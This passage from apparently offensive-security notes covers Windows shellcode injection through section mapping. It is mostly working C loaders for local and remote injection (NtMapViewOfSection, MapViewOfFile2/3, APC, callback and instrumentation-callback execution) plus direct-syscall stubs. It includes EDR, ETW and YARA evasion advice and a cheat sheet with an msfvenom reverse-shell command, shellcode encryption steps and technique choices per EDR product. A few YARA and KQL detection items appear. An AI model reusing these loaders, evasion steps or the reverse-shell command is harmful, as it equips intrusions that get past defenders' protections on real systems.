    pNtMapViewOfSection NtMV = (pNtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");

    // Create section
    HANDLE hSec = NULL;
    LARGE_INTEGER sz; sz.QuadPart = sizeof(shellcode);
    NtCS(&hSec, SECTION_ALL_ACCESS, NULL, &sz, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

    // Map RW view
    PVOID pRW = NULL; SIZE_T vsz = 0;
    NtMV(hSec, GetCurrentProcess(), &pRW, 0, 0, NULL, &vsz, 2, 0, PAGE_READWRITE);

    // Map RX view
    PVOID pRX = NULL; vsz = 0;
    NtMV(hSec, GetCurrentProcess(), &pRX, 0, 0, NULL, &vsz, 2, 0, PAGE_EXECUTE_READ);

    // Write shellcode
    memcpy(pRW, shellcode, sizeof(shellcode));

    // Unmap write view (cleanup — no more writable mapping)
    typedef NTSTATUS (NTAPI *pNtUnmap)(HANDLE, PVOID);
    pNtUnmap NtUnmap = (pNtUnmap)GetProcAddress(ntdll, "NtUnmapViewOfSection");
    NtUnmap(GetCurrentProcess(), pRW);

    // Execute via callback — NO THREAD CREATION
    CertEnumSystemStore(
        CERT_SYSTEM_STORE_CURRENT_USER,
        NULL, NULL,
        (PFN_CERT_ENUM_SYSTEM_STORE)pRX   // ← RX view as callback
    );

    NtClose(hSec);
    return 0;
}
x86_64-w64-mingw32-gcc mapping_callback.c -o mapping_callback.exe -lntdll -lcrypt32

[OPSEC] This combination — NtCreateSection + NtMapViewOfSection + callback execution — is among the highest-OPSEC local execution patterns available. No VirtualAlloc, no WriteProcessMemory, no CreateThread, no RWX pages. The shellcode address is passed as a function pointer to a legitimate Win32 callback.


10. Technique 6 — Local Mapping + APC Execution

[MAP] APIs: Section mapping → shellcode in RX view → NtQueueApcThread (self-APC) Execution: Current thread's APC queue — fires when thread enters alertable state

What it means: Instead of creating a new thread or using a callback API, queue the shellcode address as an Asynchronous Procedure Call (APC) to the current thread. When SleepEx, WaitForSingleObjectEx, or another alertable wait is called, Windows drains the APC queue and executes the shellcode.

#include <windows.h>

// (After mapping shellcode to pRX via NtMapViewOfSection, RX protection)

typedef NTSTATUS (NTAPI *pNtQueueApcThread)(
    HANDLE ThreadHandle,
    PVOID ApcRoutine,
    PVOID ApcArgument1,
    PVOID ApcArgument2,
    PVOID ApcArgument3
);

HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(ntdll, "NtQueueApcThread");

// Queue shellcode as APC to current thread
NtQueueApcThread(
    GetCurrentThread(),     // self — queue to current thread
    pRX,                    // APC routine = shellcode address
    NULL, NULL, NULL        // APC arguments (ignored by shellcode)
);

// Enter alertable state — APC fires now
SleepEx(0, TRUE);           // alertable sleep drains APC queue

// NtQueueApcThreadEx for special user APC (no alertable state required):
typedef NTSTATUS (NTAPI *pNtQueueApcThreadEx)(
    HANDLE ThreadHandle,
    HANDLE ReserveHandle,       // special user APC handle
    PVOID ApcRoutine,
    PVOID SystemArgument1,
    PVOID SystemArgument2,
    PVOID SystemArgument3
);
// ReserveHandle = INVALID_HANDLE_VALUE triggers special user APC
// Special user APC fires without requiring alertable state (Windows 10+)
pNtQueueApcThreadEx NtQueueApcThreadEx = (pNtQueueApcThreadEx)GetProcAddress(ntdll, "NtQueueApcThreadEx");
NtQueueApcThreadEx(GetCurrentThread(), (HANDLE)(LONG_PTR)-1, pRX, NULL, NULL, NULL);

[OPSEC] Self-APC is extremely stealthy — no new threads, no callback APIs, execution happens through the Windows APC dispatch mechanism. NtQueueApcThreadEx with special user APC doesn't even require an alertable wait.


11. Technique 7 — Named Section Mapping

[MAP] APIs: CreateFileMappingW (with name) → OpenFileMapping → MapViewOfFile Use case: Cross-process communication, staged payload delivery, C2 implant staging

What it means: Creating a named section allows a separate process to open the same section by name. Useful for: staging shellcode into a named section from one process, then having a second process open and map it. Avoids WriteProcessMemory AND OpenProcess for data transfer.

// === PROCESS A — Stager (writes shellcode) ===
HANDLE hMapping = CreateFileMappingW(
    INVALID_HANDLE_VALUE,
    NULL,
    PAGE_EXECUTE_READWRITE,
    0,
    sc_len,
    L"Global\\MySection12345"    // named section — visible system-wide
    // "Local\\..." for session-only visibility
);

LPVOID pMap = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sc_len);
memcpy(pMap, shellcode, sc_len);
UnmapViewOfFile(pMap);
// Section object persists even after unmapping — stager holds hMapping open
WaitForSingleObject(GetCurrentProcess(), INFINITE);  // keep section alive


// === PROCESS B — Loader (reads and executes) ===
HANDLE hMapping = OpenFileMappingW(
    FILE_MAP_EXECUTE | FILE_MAP_READ,
    FALSE,
    L"Global\\MySection12345"   // same name
);

LPVOID pExec = MapViewOfFile(hMapping, FILE_MAP_EXECUTE | FILE_MAP_READ, 0, 0, 0);

// Execute
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pExec, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

UnmapViewOfFile(pExec);
CloseHandle(hMapping);

[DETECT] Named sections in the Global\ namespace require SeCreateGlobalPrivilege. The name itself can be a detection/hunting indicator — use random or common-looking names. Section names appear in kernel object listings visible to tools like WinObj, Process Hacker, and EDR.

[C2] Named sections can be used as a covert IPC channel between implant components — C2 server writes tasks into a named section; implant maps and reads. Eliminates socket-based staging.


12. Technique 8 — MapViewOfFile2 / MapViewOfFile3 (Remote Mapping)

[MAP] [VAR] APIs: CreateFileMapping → MapViewOfFile (local, RW) → memcpy → MapViewOfFile2 (remote, RX) Execution: Remote process — avoids WriteProcessMemory for cross-process delivery

What it means: MapViewOfFile2 (Win 10 1703+) maps a view of a local mapping into a REMOTE process's address space. This replaces WriteProcessMemory entirely for cross-process shellcode delivery. The local write view and the remote execute view share the same physical pages.

#include <windows.h>

// MapViewOfFile2 prototype:
// PVOID MapViewOfFile2(HANDLE FileMappingHandle, HANDLE ProcessHandle,
//   ULONG64 Offset, PVOID BaseAddress, SIZE_T ViewSize,
//   ULONG AllocationType, ULONG PageProtection);
// Declared in memoryapi.h — link OneCore.lib or use GetProcAddress from Kernelbase.dll

typedef PVOID (WINAPI *pMapViewOfFile2)(
    HANDLE FileMappingHandle,
    HANDLE ProcessHandle,
    ULONG64 Offset,
    PVOID BaseAddress,
    SIZE_T ViewSize,
    ULONG AllocationType,
    ULONG PageProtection
);

unsigned char shellcode[] = { /* shellcode */ };
DWORD targetPID = 1234;  // target process PID

int main() {
    // Resolve MapViewOfFile2 (it's in Kernelbase.dll, not kernel32.dll)
    HMODULE kb = GetModuleHandle(L"KernelBase.dll");
    pMapViewOfFile2 _MapViewOfFile2 = (pMapViewOfFile2)GetProcAddress(kb, "MapViewOfFile2");
    // Or: MapViewOfFileNuma2 with NUMA_NO_PREFERRED_NODE as last arg

    // Step 1: Open target process (need PROCESS_VM_OPERATION)
    HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, FALSE, targetPID);
    if (!hProc) { printf("[-] OpenProcess failed\n"); return 1; }

    // Step 2: Create local section (pagefile-backed)
    HANDLE hMapping = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL,
        PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);

    // Step 3: Map LOCAL writable view
    LPVOID pLocal = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));

    // Step 4: Copy shellcode to local view (this is the "write")
    memcpy(pLocal, shellcode, sizeof(shellcode));
    // No WriteProcessMemory needed — this local write is mirrored

    // Step 5: Map REMOTE executable view (no WriteProcessMemory!)
    LPVOID pRemote = _MapViewOfFile2(
        hMapping,               // same mapping handle
        hProc,                  // TARGET process handle
        0,                      // offset
        NULL,                   // let OS pick address in target
        sizeof(shellcode),      // size
        0,                      // no special alloc type
        PAGE_EXECUTE_READ       // RX in remote process
    );
    if (!pRemote) { printf("[-] MapViewOfFile2 failed: %lu\n", GetLastError()); return 1; }
    printf("[+] Remote RX view: %p in PID %lu\n", pRemote, targetPID);

    // Step 6: Unmap local write view (cleanup)
    UnmapViewOfFile(pLocal);
    CloseHandle(hMapping);

    // Step 7: Execute — still need thread creation in remote process
    // (MapViewOfFile2 only handles memory — execution trigger is separate)
    HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
        (LPTHREAD_START_ROUTINE)pRemote, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);

    CloseHandle(hThread);
    CloseHandle(hProc);
    return 0;
}
# MapViewOfFile2 requires linking OneCore.lib (MSVC) or use GetProcAddress approach above
# MinGW: use GetProcAddress from KernelBase.dll as shown — no lib needed
x86_64-w64-mingw32-gcc remote_mapping.c -o remote_mapping.exe -lkernel32

[DETECT] MapViewOfFile2 internally calls NtMapViewOfSection. Sandboxes already monitor NtMapViewOfSection / ZwMapViewOfSection. The Win32 wrapper call sequence (CreateFileMapping → MapViewOfFile → MapViewOfFile2) may avoid some pattern matchers but the underlying syscall is the same.

[OPSEC] Prefer MapViewOfFile3 (kernelbase, Win10 1803+) over MapViewOfFile2. MapViewOfFile3 internally calls NtMapViewOfSectionEx — a newer syscall that was added later and has less detection coverage.


13. Technique 9 — NtMapViewOfSection Remote (Section Injection)

[MAP] [NTAPI] APIs: NtCreateSection → NtMapViewOfSection (local, RW) → memcpy → NtMapViewOfSection (remote, RX) → RtlCreateUserThread This is the canonical "Section Injection" technique — used by Cobalt Strike's NtMapViewOfSection allocator.

What it means: Pure NT API version of remote mapping. No Win32 wrappers — direct ntdll calls only. The pattern replaces VirtualAllocEx → WriteProcessMemory → CreateRemoteThread with a completely different API set.

// (Include typedefs from §7.1 + remote process handling)

unsigned char shellcode[] = { /* shellcode */ };
DWORD targetPID = 1234;

int main() {
    HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
    pNtCreateSection    NtCS = (pNtCreateSection)   GetProcAddress(ntdll, "NtCreateSection");
    pNtMapViewOfSection NtMV = (pNtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
    pRtlCreateUserThread RtlCUT = (pRtlCreateUserThread)GetProcAddress(ntdll, "RtlCreateUserThread");

    // Step 1: Open target process
    HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, FALSE, targetPID);

    // Step 2: Create section
    HANDLE hSection = NULL;
    LARGE_INTEGER sz; sz.QuadPart = sizeof(shellcode);
    NtCS(&hSection, SECTION_ALL_ACCESS, NULL, &sz, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

    // Step 3: Map LOCAL view with RW — for writing shellcode
    PVOID localBase = NULL; SIZE_T vsz = 0;
    NtMV(hSection, GetCurrentProcess(), &localBase, 0, 0, NULL, &vsz, 2, 0, PAGE_READWRITE);
    printf("[+] Local  view (RW): %p\n", localBase);

    // Step 4: Map REMOTE view with RX — shellcode runs here in target
    PVOID remoteBase = NULL; vsz = 0;
    NtMV(hSection, hProc, &remoteBase, 0, 0, NULL, &vsz, 2, 0, PAGE_EXECUTE_READ);
    printf("[+] Remote view (RX): %p in PID %lu\n", remoteBase, targetPID);

    // Step 5: Write shellcode to LOCAL view → auto-mirrored to REMOTE
    memcpy(localBase, shellcode, sizeof(shellcode));
    printf("[+] Shellcode written locally — mirrored to remote process\n");

    // Step 6: Execute in remote process
    HANDLE hThread = NULL;
    CLIENT_ID cid = {0};
    RtlCUT(hProc, NULL, FALSE, 0, NULL, NULL, remoteBase, NULL, &hThread, &cid);
    printf("[+] Remote thread: %p | TID: %llu\n", hThread, (ULONG64)cid.UniqueThread);

    WaitForSingleObject(hThread, 5000);

    // Cleanup
    typedef NTSTATUS (NTAPI *pNtUnmap)(HANDLE, PVOID);
    pNtUnmap NtUnmap = (pNtUnmap)GetProcAddress(ntdll, "NtUnmapViewOfSection");
    NtUnmap(GetCurrentProcess(), localBase);

    NtClose(hSection);
    NtClose(hThread);
    CloseHandle(hProc);
    return 0;
}

[OPSEC] The RW local + RX remote split means no process ever has RWX memory. The remote process sees only a clean PAGE_EXECUTE_READ mapped section — indistinguishable from a loaded DLL's .text section in terms of memory type and protection. This is the strongest OPSEC variant for cross-process injection.

[C2] Cobalt Strike uses this pattern when set allocator "NtMapViewOfSection" is configured in a Malleable C2 profile. It's known to bypass many Defender ATP behavioral rules that specifically watch for VirtualAllocEx → WriteProcessMemory.


14. Technique 10 — Instrumentation Callback + Mapping (antonioCoco variant)

[MAP] [NTAPI] APIs: OpenProcess → (CreateFileMapping → MapViewOfFile3 [local] → MapViewOfFile3 [target]) × 2 → NtSetInformationProcess OS: Windows 10 / Server 2016 version 1703+ (build 10.0.15063+) Source: antonioCoco/Mapping-Injection — splintercod3.blogspot.com

What it means: The most advanced mapping injection variant. Instead of CreateRemoteThread for execution, this technique sets a process instrumentation callback (NtSetInformationProcess with ProcessInstrumentationCallback). Every syscall in the target process then triggers the callback — which is mapped shellcode. No new thread is created in the target process at all.

API chain:
  OpenProcess(PROCESS_VM_OPERATION | PROCESS_SET_INFORMATION)
    → (CreateFileMapping → MapViewOfFile3 [local RW] → MapViewOfFile3 [target RX]) [flag memory]
    → (CreateFileMapping → MapViewOfFile3 [local RW] → MapViewOfFile3 [target RX]) [shellcode]
    → NtSetInformationProcess(ProcessInstrumentationCallback, remoteCallbackAddr)
         ↑
    next syscall in target process → triggers callback → shellcode runs
// NtSetInformationProcess with ProcessInstrumentationCallback
typedef NTSTATUS (NTAPI *pNtSetInformationProcess)(
    HANDLE ProcessHandle,
    PROCESS_INFORMATION_CLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength
);

#define ProcessInstrumentationCallback 40

typedef struct {
    ULONG Version;      // 0
    ULONG Reserved;     // 0
    PVOID Callback;     // pointer to callback code
} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION;

// Usage:
pNtSetInformationProcess NtSIP = (pNtSetInformationProcess)GetProcAddress(ntdll, "NtSetInformationProcess");

PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION cbInfo = {0};
cbInfo.Version  = 0;
cbInfo.Reserved = 0;
cbInfo.Callback = remoteCallbackBase;  // ← mapped shellcode address in target

NtSIP(hTargetProc, (PROCESS_INFORMATION_CLASS)ProcessInstrumentationCallback,
      &cbInfo, sizeof(cbInfo));

// After this — next syscall in target process runs your callback (shellcode)

[DETECT] This technique leaves a non-NULL InstrumentationCallback in the target's KPROCESS structure. By default all processes have this set to NULL — a NULL-check detects injected processes. Artifacts persist after shellcode runs.

[EDR] MapViewOfFile3 internally calls NtMapViewOfSectionEx — monitored by kernel ETW. Kernel-mode ETW subscriptions (used by CrowdStrike, SentinelOne, etc.) can detect even direct syscall variants.


15. Execution Primitives After Mapping

What it means: Mapping allocates memory — a separate execution trigger is needed. The mapping technique is decoupled from how you execute. Mix and match for optimal OPSEC.

After your shellcode is in a mapped RX view at address pRX:

Execution Option            API                        OPSEC      Monitored?
─────────────────────────────────────────────────────────────────────────────
Local new thread            CreateThread               Low        Heavy
Local NT thread             RtlCreateUserThread        Medium     Medium
Local APC (alertable)       NtQueueApcThread           High       Low
Local APC (special user)    NtQueueApcThreadEx          Very High  Very Low
Local callback              EnumSystemLocalesW          High       Low
Local callback (stealthy)   CertEnumSystemStore         Very High  Very Low
Remote new thread           CreateRemoteThread         Low        Heavy
Remote NT thread            RtlCreateUserThread        Medium     Medium
Remote APC                  QueueUserAPC (alertable)   Medium     Medium
Remote thread hijack        SuspendThread+SetContext   High       Medium
Remote instrumentation cb   NtSetInformationProcess    Very High  Low (novel)
Thread pool                 CreateTimerQueueTimer       High       Low

Decision tree for execution primitive:

Where is the shellcode running?
│
├─ Same process (local mapping):
│   ├─ Any EDR?    → Callback + NtMapViewOfSection (§9)
│   ├─ No EDR?     → CreateThread (simple)
│   └─ Max OPSEC   → NtQueueApcThreadEx special user APC
│
└─ Remote process:
    ├─ Any EDR?    → NtMapViewOfSection(RX) + RtlCreateUserThread
    ├─ Max OPSEC   → NtMapViewOfSection(RX) + instrumentation callback
    └─ Quick PoC   → MapViewOfFile2 + CreateRemoteThread

16. Memory Protection Strategies

What it means: The protection flags on your mapped views directly determine how detectable the shellcode is. Choose based on your threat model.

16.1 Protection Comparison

Strategy Section Flags Write View Exec View RWX Exposed? EDR Score
Simplest (T1) PAGE_EXECUTE_READWRITE Combined: RWX Same YES High risk
Split Win32 (T2) PAGE_EXECUTE_READWRITE PAGE_READWRITE PAGE_EXECUTE_READ No Medium
NT RW+RX (T4) PAGE_EXECUTE_READWRITE PAGE_READWRITE PAGE_EXECUTE_READ No Low
RX only after write PAGE_EXECUTE_READWRITE Unmapped PAGE_EXECUTE_READ No Very Low
Copy-on-write PAGE_EXECUTE_WRITECOPY — — — Very Low

16.2 Cleaning Up the Write View

// Best OPSEC pattern:
// 1. Write shellcode via RW view
// 2. Immediately unmap the RW view
// 3. Only RX view remains in memory
// 4. Execute from RX view
// → Memory scanner sees only a clean RX mapped section

// NtUnmapViewOfSection to remove write view:
typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
pNtUnmapViewOfSection NtUnmap = (pNtUnmapViewOfSection)GetProcAddress(ntdll, "NtUnmapViewOfSection");
NtUnmap(GetCurrentProcess(), pRW);   // removes the RW view
// pRX still valid — same physical pages, different virtual address

16.3 Section-Backed vs Private Memory

VirtualAlloc memory:
  Type:        MEM_PRIVATE
  Suspicion:   HIGH — private executable memory has no module backing
  Typical use: heap, stack, stack traces lead nowhere suspicious

Section-backed (mapped) memory:
  Type:        MEM_MAPPED
  Suspicion:   LOW-MEDIUM — same type as DLLs, file-backed data
  Typical use: DLL code sections, memory-mapped files, IPC

Key EDR heuristic bypassed:
  "MEM_PRIVATE + PAGE_EXECUTE" = high alert (no module backing)
  "MEM_MAPPED + PAGE_EXECUTE"  = normal (could be any mapped module)

17. Direct Syscall Integration

What it means: Even ntdll-level functions can be hooked by EDR via trampoline patches in userland. Direct syscalls go below ntdll entirely — executing syscall stubs that invoke the kernel directly without passing through any hooked code.

17.1 Manual Syscall Stub

// For x64 Windows, a syscall looks like:
// mov r10, rcx
// mov eax, <syscall_number>
// syscall
// ret

// NtCreateSection syscall number (Windows 10 21H2 = 0x4A, varies by build!)
// Use SysWhispers3 to auto-generate version-aware stubs

// Manual stub example (version-specific, use SysWhispers3 instead):
__declspec(naked) NTSTATUS NtCreateSection_stub(
    PHANDLE SectionHandle, ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize,
    ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle)
{
    __asm__ volatile(
        "mov r10, rcx\n"
        "mov eax, 0x4A\n"      // NtCreateSection syscall # — WIN10 21H2
        "syscall\n"
        "ret\n"
    );
}
# Generate syscall stubs for all mapping-related functions
python3 syswhispers.py -a x64 -c msvc \
    --functions NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtCreateThreadEx \
    -o sw3_mapping

# Produces: sw3_mapping.h + sw3_mapping.c
# Include in your project — replaces all ntdll function calls
// After including SysWhispers3 output:
#include "sw3_mapping.h"

// Direct syscall versions — bypass ALL userland EDR hooks:
SW3_NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &sz,
    PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

SW3_NtMapViewOfSection(hSection, GetCurrentProcess(), &pRW,
    0, 0, NULL, &vsz, 2, 0, PAGE_READWRITE);

SW3_NtMapViewOfSection(hSection, GetCurrentProcess(), &pRX,
    0, 0, NULL, &vsz, 2, 0, PAGE_EXECUTE_READ);

// Write shellcode
memcpy(pRW, shellcode, sc_len);

// Execute via callback (no thread creation hook)
CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL,
    (PFN_CERT_ENUM_SYSTEM_STORE)pRX);

17.3 Hell's Gate / Tartarus' Gate

// Hell's Gate: dynamically resolve syscall numbers at runtime
// from ntdll memory — works even when ntdll is patched

// Concept:
// 1. Scan ntdll export table for target function
// 2. Read bytes at function address
// 3. If not hooked: extract syscall number from "mov eax, N" instruction
// 4. If hooked (first bytes changed): scan nearby functions to infer number
// 5. Use resolved number in inline syscall stub

// Tool: https://github.com/am0nsec/HellsGate
// Tartarus' Gate handles additionally hooked functions by neighbor scanning
// SysWhispers3 includes both patterns — recommended over manual implementation

[OPSEC] Direct syscalls completely bypass userland EDR hooks in ntdll. The remaining detection surface is kernel ETW (Microsoft-Windows-Threat-Intelligence provider), which some EDRs use. Kernel ETW cannot be bypassed from userland.


18. OPSEC Considerations

What it means: Section mapping changes the API footprint but doesn't automatically defeat all detection. Each remaining detection surface must be addressed deliberately.

18.1 What Mapping Injection Avoids

Classic injection IOC             Mapped injection status
────────────────────────────────────────────────────────
VirtualAllocEx in remote process  ✓ NOT called
WriteProcessMemory                ✓ NOT called
MEM_PRIVATE + PAGE_EXECUTE        ✓ NOT created (section-backed)
RWX memory allocation             ✓ Avoidable with RW+RX split
Import: VirtualAllocEx            ✓ NOT imported
Import: WriteProcessMemory        ✓ NOT imported

18.2 What Mapping Injection Still Exposes

Remaining IOC                     Mitigation
────────────────────────────────────────────────────────────────
CreateFileMapping with exec perms → NtCreateSection via direct syscall
MapViewOfFile in import table     → Dynamic resolution via GetProcAddress
OpenProcess still called          → Use NtOpenProcess or lower privilege handle
CreateRemoteThread still called   → Use RtlCreateUserThread, instrumentation cb,
                                    or APC injection
NtMapViewOfSection syscall (ETW)  → No bypass from userland; accept residual risk
Section object in kernel space    → Section exists until all handles closed — cleanup
Named section in object namespace → Use anonymous sections (NULL name)

18.3 OPSEC Decision Checklist

Before deploying mapping injection:

[ ] No disk file: INVALID_HANDLE_VALUE for CreateFileMapping / NULL for NtCreateSection
[ ] Anonymous section: NULL name (not "Global\..." unless cross-process required)
[ ] RW+RX split: never expose RWX view to memory scanner
[ ] Unmap write view: after shellcode copy, remove the RW view
[ ] Clean imports: resolve all APIs dynamically via GetProcAddress or PEB walk
[ ] Thread creation: use callback or APC instead of CreateThread when possible
[ ] Process handle: request minimum access (PROCESS_VM_OPERATION only for remote)
[ ] Syscall layer: use SysWhispers3 for direct syscalls to avoid ntdll hooks
[ ] Architecture match: MapViewOfFile2 only works same-arch (x64→x64, x86→x86)
[ ] Handle cleanup: close section/view handles promptly after use

19. Detection Vectors

What it means: Understanding how defenders detect mapping injection lets you choose the right variant and countermeasures.

19.1 API Sequence Rules

EDR behavioral rule example:
  CreateFileMapping(PAGE_EXECUTE_READWRITE) → MapViewOfFile(FILE_MAP_EXECUTE) → [socket]
  → ALERT: Mapping with execute permissions followed by network activity

More specific rule:
  CreateFileMapping(INVALID_HANDLE_VALUE, PAGE_EXECUTE_*) → MapViewOfFile2(remote process)
  → ALERT: Pagefile-backed executable section mapped into remote process

Cobalt Strike variant:
  CreateFileMapping → MapViewOfFile → NtMapViewOfSection (via Kernelbase.dll)
  → Known Cobalt Strike beacon pattern — widely detected by mature EDR

Bypass: Use NtCreateSection + NtMapViewOfSection directly (different API path)

19.2 Memory Forensics

Process Hacker / Moneta / Pe-sieve will show:
  - MEM_MAPPED pages with PAGE_EXECUTE_READ
  - Not backed by a file on disk (pagefile-backed section)
  - Section handle open in process

"Suspicious mapped executable memory" indicators:
  → Mapped RX pages where the backing section is pagefile (no file path)
  → MEM_MAPPED with no corresponding loaded module
  → These are softer IOCs than private RWX but still flagged by advanced scanners

Detection tools:
  Moneta:   .\Moneta64.exe -m ioc -p <pid>  (reports suspicious mapped sections)
  Pe-sieve: pe-sieve.exe /pid <pid>          (reports non-PE-backed executable regions)

19.3 ETW — The Unavoidable Layer

Microsoft-Windows-Threat-Intelligence ETW provider (kernel mode):
  Logs: NtMapViewOfSection, NtCreateSection, thread creation
  Cannot be disabled from userland
  Used by: CrowdStrike, SentinelOne, Defender ATP (in PPL mode)

What ETW sees:
  - NtCreateSection: size, protection flags, process
  - NtMapViewOfSection: section handle, target process, base address, protection
  - Cross-process mapping: flagged when source ≠ target process

Partial mitigations:
  → NtMapViewOfSectionEx (newer syscall, less ETW coverage)
  → MapViewOfFile3 → NtMapViewOfSectionEx (Win10 1803+)
  → Kernel ETW patching (advanced, risky, detectable itself)

19.4 YARA Detection

rule Local_Mapping_Injection {
    meta:
        description = "Mapping injection loader"
    strings:
        $cfm  = "CreateFileMapping"  ascii wide
        $mvf  = "MapViewOfFile"      ascii wide
        $ntcs = "NtCreateSection"    ascii wide
        $ntmv = "NtMapViewOfSection" ascii wide
    condition:
        ($cfm and $mvf) or ($ntcs and $ntmv)
}

// Bypass: import no strings — resolve everything via GetProcAddress from hash
// → YARA strings match fails (no readable API names in binary)

19.5 Hunting Queries (Defender ATP / KQL)

// Hunt for NtCreateSection followed by NtMapViewOfSection into remote process
DeviceEvents
| where ActionType == "CreateRemoteThreadApiCall"
    or ActionType == "NtMapViewOfSection"
| where ProcessId != RemoteProcessId
| project Timestamp, DeviceName, ProcessId, ProcessCommandLine, RemoteProcessId

// Hunt for mapped executable sections not backed by file
DeviceProcessEvents
| where FileName endswith ".exe"
| join kind=inner DeviceMemoryEvents on DeviceId
| where MemoryType == "MEM_MAPPED" and IsExecutable == true
| where FilePath == ""  // no file path = pagefile-backed

20. Tooling Reference

[TOOL] Mapping-Injection — https://github.com/antonioCoco/Mapping-Injection The original reference implementation by antonioCoco. Two variants: - v1.1: CreateFileMapping → MapViewOfFile → memcpy → MapViewOfFile2 → CreateRemoteThread - v2: MapViewOfFile3 + NtSetInformationProcess instrumentation callback

git clone https://github.com/antonioCoco/Mapping-Injection
# Open Mapping-Injection.sln in Visual Studio
# Build → Release x64
# Usage: .\Mapping-Injection.exe <target_pid>

[TOOL] ProcessInjectionTechniques — https://offensive-panda.github.io/ProcessInjectionTechniques/ Comprehensive series with labs for NtCreateSection + NtMapViewOfSection injection: - Lab: NtCreateSection_MapViewOfSection - Shows RW local + RX remote split with full working code

[TOOL] MappingInjection_CSharp — https://github.com/Kara-4search/MappingInjection_CSharp C# implementation using P/Invoke — useful for .NET-based implants and PowerShell runners.

[TOOL] SysWhispers3 — https://github.com/klezVirus/SysWhispers3 Generates direct syscall stubs for NtCreateSection, NtMapViewOfSection, NtUnmapViewOfSection.

python3 syswhispers.py -a x64 -c msvc \
    --functions NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection \
    -o sw3_mapping
# Include sw3_mapping.h + sw3_mapping.c in your project

[TOOL] Moneta — https://github.com/forrest-orr/moneta Live process memory IOC scanner. Detects suspicious mapped sections:

.\Moneta64.exe -m ioc -p <pid>
# Reports: non-PE mapped executable regions, pagefile-backed RX sections

[TOOL] Pe-Sieve — https://github.com/hasherezade/pe-sieve Detects implanted code in processes including mapped injections:

pe-sieve.exe /pid <pid> /report_path C:\Results

[TOOL] ThreatCheck — https://github.com/rasta-mouse/ThreatCheck Identify which bytes in your compiled loader trigger Defender:

.\ThreatCheck.exe -f .\mapping_loader.exe -e Defender

[TOOL] Process Hacker / System Informer — https://systeminformer.sourceforge.io/ View process memory maps, section object details, and protection attributes in real-time. Use the memory tab to observe your mapped views during testing.

[C2] Cobalt Strike Malleable C2 Configure mapping injection as the allocator:

process-inject {
    set allocator "NtMapViewOfSection";  # use section mapping instead of VirtualAllocEx
    ...
}

This enables the CreateFileMapping → MapViewOfFile → NtMapViewOfSection pattern in Beacon's injection workflow.


21. Comparison Matrix

Technique APIs Process No VirtualAlloc No WriteProcessMemory No RWX No CreateThread OPSEC
T1 — Win32 RWX Local CreateFileMapping + MapViewOfFile + CreateThread Self ✓ ✓ ✗ ✗ Low
T2 — Win32 Split View CreateFileMapping + MapViewOfFile(RW+RX) + CreateThread Self ✓ ✓ ✓ ✗ Medium
T3 — NTAPI RWX Local NtCreateSection + NtMapViewOfSection + RtlCreateUserThread Self ✓ ✓ ✗ ✗ Medium
T4 — NTAPI Split View NtCreateSection + NtMapViewOfSection(RW+RX) + Thread Self ✓ ✓ ✓ ✗ High
T5 — Mapping + Callback NT split view + Callback API Self ✓ ✓ ✓ ✓ Very High
T6 — Mapping + APC NT split view + NtQueueApcThreadEx Self ✓ ✓ ✓ ✓ Very High
T7 — Named Section Named CreateFileMapping + OpenFileMapping Cross-proc ✓ ✓ configurable configurable Medium
T8 — MapViewOfFile2 Win32 + MapViewOfFile2 remote Remote ✓ ✓ ✓ ✗ Medium-High
T9 — NtMapViewOfSection Remote Pure NT API remote Remote ✓ ✓ ✓ ✗ High
T10 — Instr. Callback MapViewOfFile3 + NtSetInformationProcess Remote ✓ ✓ ✓ ✓ Very High
Direct Syscall + any Any above + SysWhispers3 Any ✓ ✓ ✓ configurable Maximum

22. Cheat Sheet

Quick Workflow

# Step 1: Generate shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -o shellcode.c
# OR: Havoc / Sliver → export shellcode

# Step 2: Encrypt shellcode (combine with Shellcode Encryption notes)
python3 xor_encode.py shellcode.bin
python3 aes_encrypt.py shellcode.bin

# Step 3: Choose technique based on target
# Defender only      → T4 (NTAPI RW+RX) + T5 (callback execution)
# CrowdStrike        → T4 + T5 + SysWhispers3 (direct syscalls)
# SentinelOne        → T10 (instrumentation callback) or T5 with rare callback API
# No EDR (lab/CTF)  → T1 or T2 (simplest)

# Step 4: Compile
x86_64-w64-mingw32-gcc loader.c -o loader.exe -lntdll -lkernel32 [extra libs]

# Step 5: Verify with ThreatCheck
.\ThreatCheck.exe -f .\loader.exe -e Defender

# Step 6: Check memory footprint
.\Moneta64.exe -m ioc -p <pid>  # should show MEM_MAPPED RX, no private RWX

API Quick Reference

Goal                                   API                      DLL
──────────────────────────────────────────────────────────────────────────
Create pagefile-backed section         CreateFileMapping/NtCreateSection
